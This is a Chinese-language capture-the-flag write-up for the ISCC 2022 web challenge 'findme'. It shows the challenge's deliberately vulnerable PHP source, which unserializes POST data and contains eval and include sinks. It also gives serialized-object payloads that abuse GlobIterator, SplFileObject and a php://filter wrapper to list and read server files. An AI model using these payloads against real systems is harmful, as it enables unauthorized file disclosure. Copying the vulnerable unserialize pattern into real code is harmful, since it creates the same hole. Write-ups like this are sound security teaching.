2022-ISCC-web-findme-writeup
0x01 题目

0x02 解题思路
访问题目地址,显示一张图片

F12查看元素,发现一个文件注释,访问

页面显示了代码
<?php
highlight_file(__FILE__);
class a{
public $un0;
public $un1;
public $un2;
public $un3;
public $un4;
public function __destruct(){
if(!empty($this->un0) && empty($this->un2)){
$this -> Givemeanew();
if($this -> un3 === 'unserialize'){
$this -> yigei();
}
else{
$this -> giao();
}
}
}
public function Givemeanew(){
$this -> un4 = new $this->un0($this -> un1);
}
public function yigei(){
echo 'Your output: '.$this->un4;
}
public function giao(){
@eval($this->un2);
}
public function __wakeup(){
include $this -> un2.'hint.php';
}
}
$data = $_POST['data'];
unserialize($data);
看到unserialize($data);是php 反序列化应用,关键函数
__destruct():对象被销毁之前调用
__wakeup()::当反序列化恢复成对象时调用此方法
根据代码,应该从__wakeup()开始,yigei()应该是最后调用的函数,想要调用yigei(),初步需要满足:
un0不为空、un2为空、un3 === 'unserialize'
初步满足条件后,就会调用Givemeanew()函数,可以构造un0作为类,un1作为参数来调用我们想要执行的操作
下来需要用到两个php类:GlobIterator和SplFileObject
GlobIterator:遍历一个文件系统
SplFileObject:读取大文件
使用GlobIterator类探测文件路径,现访问hint.php,构造提交参数
data=O:1:"a":5:{s:3:"un0";s:12:"GlobIterator";s:3:"un1";s:8:"hint.php";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}
请求后返回,说明hint.php就在当前目录下

使用SplFileObject类读取hint.php
data=O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:8:"hint.php";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}
请求后没有返回,查看网页 元素发下多了个注释

推测提示使用php伪协议读文件
data=O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:57:"php://filter/read=convert.base64-encode/resource=hint.php";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}
请求后 返回一串字符

md5解密

提示flag文件的位置和名字特征,GlobIterator类支持模糊匹配
data=O:1:"a":5:{s:3:"un0";s:12:"GlobIterator";s:3:"un1";s:6:"f*.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}
得到flag文件名

再使用SplFileObject类读取
data=O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:26:"fA1TE_GRo9rde_OScter5r.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}
得到flag


浙公网安备 33010602011771号